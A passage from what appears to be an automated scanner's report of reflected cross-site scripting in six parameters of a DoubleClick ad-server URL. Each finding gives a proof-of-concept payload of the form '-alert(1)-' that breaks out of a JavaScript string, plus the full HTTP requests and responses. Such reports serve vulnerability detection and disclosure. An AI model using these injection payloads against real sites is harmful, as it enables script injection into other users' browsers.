User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:21:50 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
tic.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=11257987374e'-alert(1)-'07dd0d94448&_pm=52786&_pn=17918657&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTMedia%3Dx1%26CTProgType%3Dmplus1%26CTUnitSize%3D728x90%26CTTestGrp%3D
...[SNIP]...

4.77. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_eo parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the _eo request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6501'-alert(1)-'aa803ed8660 was submitted in the _eo parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786d6501'-alert(1)-'aa803ed8660&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:18:59 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
cgif = 'http://s0.2mdn.net/1887566/728x90_ps1_static.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786d6501'-alert(1)-'aa803ed8660&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTMedia%3Dx1%26CTProgT
...[SNIP]...

4.78. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_et parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the _et request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9dfcc'-alert(1)-'b65f4d2abcd was submitted in the _et parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=13050367469dfcc'-alert(1)-'b65f4d2abcd&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:19:41 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
s0.2mdn.net/1887566/728x90_ps1_static.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=13050367469dfcc'-alert(1)-'b65f4d2abcd&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTMedia%3Dx1%26CTProgType%3Dmplus1%26
...[SNIP]...

4.79. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_o parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the _o request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 47f87'-alert(1)-'0d6af0efdf9 was submitted in the _o parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=1560747f87'-alert(1)-'0d6af0efdf9&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:18:16 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
'';
var dcgif = 'http://s0.2mdn.net/1887566/728x90_ps1_static.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=1560747f87'-alert(1)-'0d6af0efdf9&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTMedia%3Dx1
...[SNIP]...

4.80. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_pm parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the _pm request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c943'-alert(1)-'5d7fd3da5a0 was submitted in the _pm parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=527862c943'-alert(1)-'5d7fd3da5a0&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:22:33 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=527862c943'-alert(1)-'5d7fd3da5a0&_pn=17918657&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTMedia%3Dx1%26CTProgType%3Dmplus1%26CTUnitSize%3D728x90%26CTTestGrp%3Dflash%26cm
...[SNIP]...

4.81. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_pn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the _pn request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78fb1'-alert(1)-'9d8739c2c32 was submitted in the _pn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=1791865778fb1'-alert(1)-'9d8739c2c32&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:23:15 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
ewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=1791865778fb1'-alert(1)-'9d8739c2c32&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTMedia%3Dx1%26CTProgType%3Dmplus1%26CTUnitSize%3D728x90%26CTTestGrp%3Dflash%26cm_mmc%3Dx1-_-m
...[SNIP]...

4.82. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_s parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the _s request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload baa0c'-alert(1)-'a5843abb998 was submitted in the _s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902baa0c'-alert(1)-'a5843abb998&_d=1125798&_pm=52786&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:21:07 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
x90_ps1_static.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902baa0c'-alert(1)-'a5843abb998&_d=1125798&_pm=52786&_pn=17918657&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTMedia%3Dx1%26CTProgType%3Dmplus1%26CTUnitSize%3D728x90%26C
...[SNIP]...

